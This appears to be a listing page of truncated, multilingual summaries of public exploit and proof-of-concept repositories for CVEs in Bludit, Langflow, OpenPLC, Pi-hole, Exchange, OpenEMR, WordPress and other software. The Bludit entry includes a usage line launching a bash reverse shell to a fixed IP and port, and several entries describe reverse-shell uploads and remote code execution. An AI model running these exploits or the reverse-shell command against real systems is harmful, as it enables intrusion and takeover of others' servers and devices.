CVE-2024-1655

CVE-2024-1655 Descrizione I firmware ASUS ExpertWiFi EBM63, EBM68 e RT-A57 Go precedenti alla patch del 12-04-2024 contengono una vulnerabilità di command injection nella funzione splashpageSDN.cgi. Quando un attaccante invia una richiesta appositamente predisposta, può ottenere l'esecuzione di...

CVE-2020-27976

CVE-2020-27976 Exploit osCommerce Phoenix CE . Questo ha prodotto i migliori risultati durante i test. Le nuove righe nel payload vengono sostituite con spazi prima del caricamento. ================== Fonti: https://www.tenable.com/cve/CVE-2020-27976...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticato Utilizzo python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Esempio...

CVE-2023-34830---Reflected-XSS-found-in-I-doit-Open-v24-and-below

CVE-2023-34830 - XSS Refletido encontrado no i-doit Open v24 e anteriores i-doit Open v24 e anteriores são vulneráveis a XSS Refletido. Essas vulnerabilidades podem permitir que invasores autenticados remotos injetem scripts web arbitrários ou HTML. Descrição do produto : i-doit é uma documentaçã...

CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5

CVE-2023-34537--- XSS Refletido encontrado no HotelDruid V3.0.5 HotelDruid v3.0.5 é vulnerável a múltiplas vulnerabilidades XSS. Essas vulnerabilidades poderiam permitir que atacantes autenticados remotos injetem script web arbitrário ou HTML. Este é meu terceiro repositório. Não me julgue se não...

cve-2020-24572

CVE-2020-24572 È stato scoperto un problema in includes/webconsole.php di RaspAP 2.5. Con accesso autenticato, un attaccante può utilizzare una console web malconfigurata e praticamente senza restrizioni per attaccare il sistema operativo sottostante che esegue questo software, ed eseguire comand...

RCE-CVE-2025-3248

Authentifizierte CVE-2025-3248 Langflow Remote Code Execution Dieses Python-Skript nutzt CVE-2025-3248 aus, um beliebige Befehle auszuführen oder eine Reverse Shell auf einem verwundbaren System zu starten. Für die Nutzung dieses Exploits ist eine Authentifizierung erforderlich. Funktionen...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - Authentifizierte RCE Dieses PoC-Skript basiert auf dem Exploit von Fellipe Oliveira. Funktionen : Lädt C-Code direkt nach /hardware hoch anstatt eines .st-Datei-Uploads Stellt das Standardprogramm vor dem Hochladen der Reverse Shell wieder her Verbesserte...

CVE-2022-41040-metasploit-ProxyNotShell

CVE-2022-41040-metasploit-ProxyNotShell Lo script Metasploit POC per CVE-2022-41040. Microsoft Exchange è vulnerabile a un attacco di server-side request forgery SSRF. Un utente autenticato può sfruttare la vulnerabilità per elevare i privilegi. preparazione POC root@kitploit: git clone...

CVE-2020-8816

CVE 2020-8816 : Pi-hole versioni = 4.3.2 è affetto da una vulnerabilità di Remote Code Execution. Un utente autenticato del portale Web può eseguire comandi arbitrari sul server sottostante con i privilegi dell'utente locale che esegue il servizio. ESEMPIO : go run CVE-2020-8816.go -host $LHOST -...

CVE-2018-16119

CVE-2018-16119: Authentifizierte Remotecodeausführung in TP-Link WR1043ND Übersicht CVE-2018-16119 ist eine kritische Schwachstelle für authentifizierte Remotecodeausführung, die TP-Link TL-WR1043ND Router betrifft. Diese Schwachstelle ermöglicht es authentifizierten Angreifern, beliebige Befehle...

CVE-2019-10945

Conversione del codice in Python 3 Questo codice è tratto da Joomla! Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion ed è stato convertito in Python 3 per adattarsi all'esercizio in Academy per il modulo "Attacking Commoon Applications" e la sezione "Attacking...

CVE-2024-3656

Keycloak 24.0.5 è vulnerabile alla vulnerabilità di Broken Access Control, dove un attaccante può utilizzare qualsiasi utente autenticato per eseguire alcune azioni API come: Test delle connessioni LDAP tramite l'endpoint testLDAPConnection. Recupero degli attributi non gestiti di qualsiasi utent...

-CVE-2023-33177-

Xibo CMS CVE-2023-33177 취약점 테스터 CVE-2023-33177 에 대한 자동화된 보안 테스트 도구 - Xibo CMS의 Zip Slip 경로 탐색 취약점으로 원격 코드 실행RCE으로 이어집니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하고 있거나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하십시오. 승인되지 않은 테스트는 불법이며 비윤리적입니다. 📋 설명 Xibo CMS 버전 1.8.0-2.3.16 및 3.0.0-3.3.4 는 레이아웃 가져오기 기능을 통해 경로...

demo-CVE-2021-29447-lezione

POC CVE-2021029447 - XXE in WordPress WordPress 5.6-5.7 - Autenticato Autore+ XXE CVE-2021-29447 https://vulners.com/cve/CVE-2021-29447 Utilizzo Step1. Esegui WordPress root@kitploit: $ make up-wp Step2. Esegui il server web attaccante root@kitploit: $ make up-mal Step3. Genera file WAV malevolo...

CVE-2023-30854

WWBN Avideo RCE Autenticato - Iniezione di Comandi OS CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; Possiamo controllare $objClone-cloneSiteURL attraver...

CVE-2023-0861-POC

Analysieren und Reproduzieren der Befehlsinjektions-Schwachstelle CVE-2023-0861 in NetModule Routern NetModule ist ein Original Equipment Manufacturer OEM von industriellen Routern, die häufig in kritischer Infrastruktur und industriellen Steuerungssystemen eingesetzt werden. Am 24. Februar 2023...

exploit-CVE-2019-14530

Exploit OpenEMR CVE-2019-14530 OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the file to be read Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

CVE-2025-68613

🚀 Prova de Conceito RCE Autenticado n8n Pocsuite3 CVE ID : CVE-2025-68613 Tipo : Execução Remota de Código Autenticada Framework : Pocsuite3 Este é um script de verificação e exploração de vulnerabilidades baseado no framework Pocsuite3 , usado para detectar a vulnerabilidade de execução remota d...

exploit-CVE-2018-15139

استغلال OpenEMR CVE-2018-15139 OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...